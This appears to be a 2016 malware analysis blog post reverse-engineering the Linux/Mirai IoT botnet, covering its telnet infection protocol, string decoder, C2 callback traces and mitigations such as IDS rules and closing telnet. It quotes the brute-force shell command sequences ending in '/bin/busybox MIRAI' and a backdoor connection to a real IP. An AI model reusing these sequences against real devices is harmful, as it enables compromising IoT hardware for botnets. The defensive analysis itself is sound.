socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
connect(6, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr("x.x.x.x")}, 16)
sendto(7, "\377\374\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\374!", 3, MSG_NOSIGNAL, NULL, 0) 
sendto(7, "\377\375\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\375\3", 3, MSG_NOSIGNAL, NULL, 0)
recvfrom(0, "E\0\0(\276~@\0001\6t\342\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\214".
recvfrom(0, "E\0\0004>J@\0*\6\fbj\375(g\300\250\262\v\0\27\243\375P\351\2211m\4\322o"..
recvfrom(0, "E\0\0(\276\177@\0001\6t\341\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\344"..
recvfrom(0, "E\0\0(\276\200@\0001\6t\340\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3426,"..
recvfrom(0, "E\0\0,\0\0@\0.\6\216=I\213\2P\300\250\262\v\0\27\311gH\31\23\320I\213\2Q".

And doing the backdoor to connect via HTTP on 65.222.202.53.

connect(0, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("65.222.202.53")}, 16)

Mitigation method of Linux/Mirai infection

Picking a right ELF is important..

You'll find so little indicator and some encoded strings in the ARM binary. But there is no problem. First you should pick the clean ELF, it has the characteristic like the below:

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 61 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            ARM
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00008000 0x00008000 0x0dbb4 0x0dbb4 R E 0x8000
  LOAD           0x00e004 0x0001e004 0x0001e004 0x001d4 0x05a84 RW  0x8000
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Section to Segment mapping:
  Segment Sections...
   00     .init .text .fini .rodata
   01     .ctors .dtors .data .bss

That's it for the available header & sections reading.

From each of Linux.Mirai ELF file clean state like above, it has significant strings that can be filtered by signatures:

/dev/watchdog
'LCOGQGPTGP'
/proc/stat
/proc/cpuinfo
processor
/sys/devices/system/cpu
enter
ogin
assword
/dev/null

If you are in the Linux box, non DVR or busybox IoT type, secure the access to the below stated directory too..if came up from any unknown executables. It is also a good hazard to kill the chain of infection:

In rare occasion for infection of Linux/Mirai will connect you back to this MUD game site, blocking its IP is good for protection:

↑The site is showing the asciiart Mirai logo. ↓Anybody's home??
This MUD-like interface is later on known as Mirai botnet CNC CLI panel, thank's "Richard":

Blocking the used TCP/48101 port if you don't use it, it's good to prevent infection & further damage:

mirai 29557 toor 3u  IPv4  386807  0t0  "TCP 127.0.0.1:48101 (LISTEN)"
mirai 29557 toor 4u  IPv4  504795  0t0  "TCP 127.0.0.1:44424->127.0.0.1:48101 (ESTABLISHED)"

The other method is to secure your busybox execution to be run only on specific user. You'll need shell access for this operation, along with other hardening methods. The most important thing to prevent the infection is: if you have an IoT device, please make sure you have no telnet service open and running.

Botnet protocol used for infection via Telnet service

This explanation exists because of there are two good persons are supporting effort to crack it: Special thank's to Waldo Kitty & @node5.

What I am explaining here is the telnet scanner function that is used by attacker using the Linux/Mirai client version to get the installation of this malware in other node with accessible telnetd.

During the telnet session, Linux/Mirai attacker will communicate with its target with specific protocol. Please see the illustration below for getting the idea of what will be explained in the next writing:

The Username and Passwords mentioned in the figure are used for login bruting, and is hardcoded in the binary of Linux/Mirai, along with the commands used for the gaining the shell.

The botnet will communicate to the remote access (assuming server) who request the same strings sent, with the "report" in CNC callback, with the specific keyword.
After gaining shell access, the malware sends the shell one-liner command to install malware with the format as below:

This command is also hardcoded. It explained why we can not find the samples in the current infected systems since the malware file downloaded will be deleted after the execution.

The possible sequence of the attack commands can be shown as below variations:

{Username}
{Passwords}
shell
enable
sh
/bin/busybox MIRAI

or, the combination below:

{Username}
{Passwords}
enable
system
shell
sh
bin/busybox MIRAI

The reversing snips for this infection protocol can be read in skeleton reversing section.

Reversing Linux/Mirai (stripped ARM) in binary (raw) way

The binary is reversible, but it's a bit "heavily stripped" and has double function for decoders, so it is not that easy to read, but it's fine. You'll see some important "artifacts" like these "case-switch" they coded to perform attack:

If you trace it carefully all of origin for strings used in encoded binary can be read like this:

Decoder

// just to get the idea...what is cracked..

  fn.0x0000f9e8(var3,  (int)"\rRPMA\r\"", 7);
  fn.0x0000f9e8(var4,  (int)"\rGZG\"", 5);
  fn.0x0000f9e8(var7,  (int)"jvvrdnmmf\"", 10);
  fn.0x0000f9e8(var8,  (int)"nmnlmevdm\"", 10);
  fn.0x0000f9e8(var10, (int)"XMNNCPF\"", 8);
  fn.0x0000f9e8(var11, (int)"egvnmacnkr\"", 11);
  fn.0x0000f9e8(var14, (int)"QJGNN\"", 6);
  fn.0x0000f9e8(var15, (int)"GLC@NG\"", 7);
  fn.0x0000f9e8(var16, (int)"Q[QVGO\"", 7);
       :
  fn.0x0000f9e8(var17, (int)"QJ\"", 3);
  fn.0x0000f9e8(var20, (int)"LAMPPGAV\"", 9);

// One decoder in fn.0x0000f9e8

|           0x0000f9e8      000052e3       cmp r2, 0
|           0x0000f9ec      0ef0a001       moveq pc, lr
|           0x0000f9f0      00c0a0e3       mov ip, 0
|           ; JMP XREF from 0x0000fa04 (fcn.0000f9e8)
|       .-> 0x0000f9f4      0130d1e4       ldrb r3, [r1], 1
|       |   0x0000f9f8      0030cce7       strb r3, [ip, r0]
|       |   0x0000f9fc      01c08ce2       add ip, ip, 1
|       |   0x0000fa00      02005ce1       cmp ip, r2
|       `=< 0x0000fa04      faffff1a       bne 0xf9f4
\           0x0000fa08      0ef0a0e1       mov pc, lr

So the usual reversing method can be done to this ELF malware with using any of your flavor reversing tool that can support ELF reading in little endian. (Well, by know you all know what our chosen reversing tool is). I will not say much about this, since all of the previous posts are showing much of this method, but let me explain a new method with the details in the next section.

Reversing Linux/Mirai (stripped ARM) on "skeleton" tool

I've been working with my personal project called skeleton for some time, it was started since the ELF Workshop of MalwareMustDie started in here, Tokyo, Japan during AVTokyo conference last year. With the goal to be an open source project (currently still in private for some hiccups core development). The tool is having all practical necessity I need during analyzing a new unknown ELF malware, to save my time a lot to focus on the core of codes and source of the threat.

For the RCE itself, Skeleton can be used to form the ELF binary into as close as possible to the original state. If a known binary is analyzed by "skeleton", it's not interesting and that's not the point of this tool. Skeleton is showing its advantages when you push the unknown ELF into it, so this ARM binary is a good chance to test it :-).

Firstly, the simple explanation of "skeleton" concept can be seen in the figure below, a self-explanatory:

Skeleton concept is analyzing the all malware libraries you collected (all vectors related information of one family of malware) in the database, and is checking the new analyzed binary by firstly checking calls made on the sample..just like when you trace a syscalls..but with additional of the known function too are stored in malcode dataset. For example, in this Linux/Mirai this is the statistic of used syscall (this is only the example, using a very well known command):

Then the tool is parsed by radare2 assembly dump of the malware, in the form like in the below picture's shown:

..and after some process (sorry that I can not say openly here), receiving a not-bad reversing output in the C-like (NOT C++). The result is not 100% looks like the original source code. Specially if you are reversing this from ARM processor which many variable declaration will be passed more steps through registers than Intel, but it will get you into an idea of what kind of code that's actually responsible for this badness. The code generated by this scheme is making a basic concept code of what the actual source code is, why I called it as "skeleton".
PS: Radare is the best tool for RCE in this planet, me and MMD team are proud to use it for so long.

..And I was not surprised when I saw that ELF Linux/Mirai was actually showing many part of codes as similar as GayFgt/Torlus/Lizkebab or Bash0day/Bashdoor/BashLite.
Reference about GayFgt/Torlus/Lizkebab [link]

Below are screenshots of view of skeleton RCE tool results (after being beautified) by analyzing Linux/Mirai malware:

The cracked functions:

Putting all together in the main() :)

The case-switch used for abuse action (attack, etc) trigger, looks like the coding style of Torlus/GayFgt re-coded version to me..

Obviously same style of coding too :-) Some strings are automatic input by skeleton as suggestion since the system found the code matched.

Another encoded strings blob and path to its decoder addresses:

Snips of "Skeleton" reversing on the malware's Telnet Scanning Protocol

This part can not be done well w/o cool help from WaldoKitty. Not every information will be published, it is posted in enough level to PoC the threat and its origin.

The telnet login command "grepped" by the Linux/Mirai from skeleton C code:

The password request of the telnet login grepped:

How the user & password is sent, one at the time..

Attempt to gain the shell...studied from several collected bins

How the injected code is formed and sent...in rough code.

This will be followed by the fetch malware command described in the telnet attack protocol section.

If you see the above telnet infection generated reversed codes of Linux/Mirai, except for the usage of encoded strings and some additional/modification in injected telnet commands, it is reminding us for the previous known malware threat that aimed telnet and IoT/routers created by the skiddos we posted before. They don't (or maybe just can't) do much modification for the telnet scanner part.

Despite similarity in the telnet infection, there are some interesting functions can be seen in the malware attack action that's not found in the previous threat, please take a rain check for those, for the current security reason.

About further information on the telnet scannning research from the overall infected IoT device I can recommend you a very good report on telnet honeypot written by Mr. Bedřich Košata in CZ.NIC [link]

Notes for skeleton reversed code:

The thing about reverse engineering is, you always can sense same stuff coded from someone or from the threat you follow. The generated code is not 100% same as the original source used, but it is enough to give is idea about how it works in more details and how it was coded. In this reversing I am using the one several ARM samples in 32bit as main reference, which is influencing the distortion in code generated (to be more using more variables and registers than Intel). I will brush-up these codes in my spare time.

The conclusion

ELF Linux/Mirai is the next generation of what they called it as "GayFgt/LizKebab/Torlus" or what we call it as "Bash0day, Bashdoor, or Bashlite" in the past. Which is desigend to be more sophisticated in aiming Linux boxes in internet for the botnet purpose (obviously for the DDoS attack cannons).

This malware is designed scan the Telnet service running device and to own them, the owned/infected nodes are used for the cushion for further hacks. By product types, ELF Linux/Mirai is targeting DVR (hint /dvrHelper), WebIP Camera on busybox, other busybox powered Linux IoT boxes, and unattended Linux servers.

The only significant addition is the stripping combined with encoded strings, thus added with busybox/watchdog delay, with other diversion in confusing the traffic filtration.

The delay in activation of the malware and the CNC different port used is not changing the basic of communication protocol of what previous malware has coded with, the malware is depending by the remote access to operate further.

The same group of skiddo actors who use Torlus or GayFgt are the one who responsible for this malware, facts are supporting this assumption with the same attack M.O (via telnet service and telnet scanners), youth hacktivism involved, same trace of coding style, infection style via /dev with deletion, and so on. It's too obvious. Not necessarily from the same coder but the GayFgt/Torlus shared code was re-used.

Linux with architecture x86-32 is not their priority, this is why I don't see much of it but focus on samples that are really hitting the devices (mostly are ARM samples), the other is fetched from infection data or by tracking back to its sources..

The traffic filtration for this threat is provided thoroughly by IDS/IPS filtration by ET Labs good folks [link], kudos hard working engineers to share the OPEN rules to filter this planet from this threat attacks. If your traffic filtration showed the below indicators, please make sure that you have no open telnet service to be aimed by the attackers.

Open rules:
  2023016 - ET TELNET SUSPICIOUS Path to BusyBox
  2023017 - ET TELNET SUSPICIOUS busybox shell
  2023018 - ET TELNET SUSPICIOUS busybox enable
  2023019 - ET TELNET busybox MIRAI hackers - Possible Brute Force Attack

Mr. Johnny Vestergaard from HoneyNet Project Norwegian Chapter is releasing report about the recent attempt to hack his honeypots, and Linux/Mirai attacks were recorded in the same period [link]

Ah, one last thing... We still have a better KungFu, kiddos! :)

Thank you and epilogue

To all of the good sysadmin friends who uploaded us the samples. To engineer friends in ET Labs for the nice discussion about the threat. To security ring in MMD and my country who support to our ELF research. To the friends who contacted us directly and doing the very best cooperation to share and explain the threat..even-though it was hard to fetch some binaries from the memory but you all did it, we thank you for the hard work and support to make this analysis is possible.

I will continue the development of the "skeleton" tool to be more presentable and used by good people who want to dissect the unknown binary by this method. At the moment I will try to sync the skeleton development plan to be presented in public for the near future. Please contact @unixfreaxjp for the development matters.

The moral of the story of this threat ; this is the example, on how a group of bad hackers can improve themselves.. if we let them still be freely doing their vandalism act out there. They keep on improving their threat and they have no care to aim anything that can be infected to expand their "botnets". Don't let the young age reducing our priority to stop the actors in the legal way, juveniles scheme in our culture are there for them to taste the consequences of what they do in the real life., let them taste it. If we don't stop them now..think about what they can do for 5 or 10 years from now to our internet.

To have Linux boxes in IoT to support our present life aspects is a bless in our technology era. But please be parallel to serve those boxes with more presentable security settings and don't let the authentication security for those running 365/24/7 OS becomes obsolete. Apply some securing method to secure it better too in user land UI i.e.: to force users to change the factory setting passwords BEFORE using them, or not to let telnetd runs openly by default, ask the users not to serve SSH in the default ports of possible, and these are really helping to reduce this threat hitting networks that is having much IoT running. Feel free to contact us in @malwaremustdie (twitter/direct message), or by comments to this post if you have an infection for this malware and look for advisory to dissect it, or to dump the sample from your busybox/IoT.

Thank you very much for the internet media awareness

We, MMD thank our good friends in internet media for your fast awareness of this threat:
1. Security Affairs (interview report) [link]
2. Security Week [link]
3. Softpedia [link]
4. Open Source Forum .RU [link]
5. Bug Online .HR [link]
6. Muy Seguridad .ES [link]
7. IPSInfo. RU [link]
8. Articulos relacionados con el mundo de la tecnologia .ES [link]
9. 甄选微信朋友圈热门文章_微信热文 .CN [link]
10. Info Security Magazine .NL [link]
11. HelpNet Security [link]
12. Best Security Search [link]
13. 老蔡博客 | 专注云计算运维自动化 .CN [link]
14. IT Vesti (Bosnian) [link]
15. Heise Security .DE [link]
16. Slashdot.org [link]
..and others who are not mentioned yet (I am sorry!)

Stay safe folks!

#MalwareMustDie!
Reversed, analyzed and written by @unixfreaxjp [link], August 31st 2016.